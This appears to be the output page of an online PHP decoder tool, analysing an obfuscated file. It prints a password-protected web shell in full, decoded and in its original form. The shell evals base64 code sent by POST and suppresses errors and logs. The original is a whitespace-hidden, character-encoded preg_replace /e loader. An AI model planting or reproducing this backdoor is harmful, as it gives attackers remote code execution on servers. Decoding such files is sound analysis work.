Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "tCuwIibqZ73Eii3oeGZbJyE9yQnrsY6J")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php



                                                                                                                                                                                                                     $GdkHK09="\x70".chr(114)."eg".chr(95).chr(114)."\x65pl".chr(97).chr(99).chr(101);$tbb242H="\x65".chr(118).chr(97).chr(108)."\x28\x62\x61\x73\x65".chr(54).chr(52).chr(95)."d\x65".chr(99).chr(111)."\x64\x65".chr(40).chr(34).chr(81)."GV\x79c\x6D".chr(57)."y\x58".chr(51).chr(74).chr(108)."\x63\x47".chr(57)."\x79".chr(100)."G\x6C\x75".chr(90).chr(121)."g\x77\x4bT".chr(115)."\x4bQGl\x75a\x56".chr(57)."\x7A".chr(90)."X\x51\x6fI\x6dR\x70\x63".chr(51)."\x42\x73".chr(89)."\x58".chr(108)."\x66\x5a\x58J".chr(121)."\x623J\x7a\x49i\x77\x77K\x54sK".chr(81).chr(71)."\x6C".chr(117)."a".chr(86)."9\x7AZ\x58".chr(81).chr(111)."I".chr(109)."\x78\x76".chr(90)."1\x39lcnJvc\x6E\x4D\x69LD".chr(65)."p".chr(79)."\x77p\x41".chr(97)."\x57".chr(53)."\x70".chr(88).chr(51)."\x4e\x6C".chr(100)."\x43\x67".chr(105)."\x5A".chr(88).chr(74).chr(121)."b3Jfb".chr(71).chr(57).chr(110)."\x49".chr(105)."\x77w".chr(75).chr(84)."\x73\x4b".chr(67).chr(109).chr(108).chr(109).chr(73).chr(67)."\x68pc3Nl\x64\x43\x67".chr(107)."X".chr(49)."\x42\x50U\x31Q\x70\x49".chr(67)."Y".chr(109)."\x49".chr(71)."\x6C".chr(122).chr(88)."\x32\x46ycmF".chr(53).chr(75).chr(67)."R\x66".chr(85)."\x45\x39T\x56".chr(67)."\x6b".chr(103)."\x4ai".chr(89)."\x67\x59".chr(50)."\x39".chr(49)."b".chr(110)."\x51oJ".chr(70)."9\x51\x54\x31N\x55".chr(75).chr(84)."4\x78".chr(75)."Q".chr(112)."\x37".chr(67)."\x67l\x6D\x62\x33Jl\x59\x57\x4e".chr(111)."\x49C".chr(103)."\x6B".chr(88).chr(49).chr(66).chr(80)."\x55\x31\x51".chr(103).chr(89)."XM".chr(103).chr(74)."\x48Zh\x63".chr(105)."\x6bKC\x58".chr(115).chr(75)."\x43\x51\x6C".chr(112)."\x5a\x69\x41\x6F".chr(73)."Wl\x7A\x63\x32".chr(86)."0".chr(75).chr(67)."\x52jb".chr(50)."R\x6C\x4b\x53\x6B".chr(103)."J".chr(71)."N\x76".chr(90)."G\x55\x67P".chr(83).chr(65)."k\x64".chr(109)."F\x79O\x77\x6f\x4A\x43W\x56\x73\x63\x32\x56".chr(112)."\x5a\x69A".chr(111)."\x49W\x6Cz".chr(99).chr(50)."\x560K".chr(67)."RwYX\x4ezK\x53\x6B\x67J".chr(72).chr(66).chr(104)."\x63\x33".chr(77)."\x67".chr(80).chr(83).chr(65)."k\x64mF\x79\x4F\x77\x6fJC".chr(87).chr(86).chr(115).chr(99).chr(50)."\x55\x67\x59\x6E".chr(74)."l\x59W\x73\x37".chr(67)."\x67\x6c".chr(57)."C".chr(103)."oJ".chr(97)."\x57\x59g\x4BC".chr(82).chr(119)."\x59\x58N\x7AI\x440".chr(57)."\x49\x43".chr(74)."0\x51".chr(51).chr(86).chr(51)."\x53\x57\x6c".chr(105)."cV\x6f\x33\x4d\x30\x56\x70".chr(97)."\x54N\x76".chr(90).chr(85).chr(100)."a\x59\x6b".chr(112)."5".chr(82)."\x54".chr(108).chr(53)."UW5yc1".chr(107)."2S".chr(105).chr(73)."\x70\x43".chr(103)."l\x37\x43\x67\x6B\x4AZ".chr(88)."Z".chr(104)."b\x43h".chr(105)."\x59X\x4El\x4ej".chr(82)."f\x5A".chr(71)."V".chr(106)."b\x32\x52".chr(108)."\x4b\x43R".chr(106).chr(98).chr(50)."\x52\x6c\x4b\x53".chr(107).chr(55)."C".chr(103)."\x6c\x39".chr(67).chr(110)."0".chr(75).chr(90).chr(88)."\x68".chr(112)."\x64D\x73".chr(61)."\x22\x29\x29".chr(59);$e1ea=chr(47)."\x33".chr(55)."6\x64".chr(48)."\x646".chr(50).chr(98).chr(56).chr(102)."\x349".chr(52)."7\x63".chr(100)."dbb3".chr(97)."\x66".chr(54).chr(97)."\x39\x31\x399\x32".chr(100)."\x31".chr(47).chr(101);$GdkHK09($e1ea,$tbb242H,"3".chr(55).chr(54)."\x64\x30d".chr(54)."\x32".chr(98)."\x38\x66\x349\x34\x37\x63d\x64".chr(98).chr(98)."3\x61\x66".chr(54)."a9\x31\x399".chr(50).chr(100).chr(49));


?>

Function Calls

chr 199
preg_replace 1
base64_decode 1

Variables

$e1ea /376d0d62b8f4947cddbb3af6a91992d1/e
$GdkHK09 preg_replace
$tbb242H eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..

Stats

MD5 3f85d20601727a8f8f678e20a6be645d
Eval Count 2
Decode Time 266 ms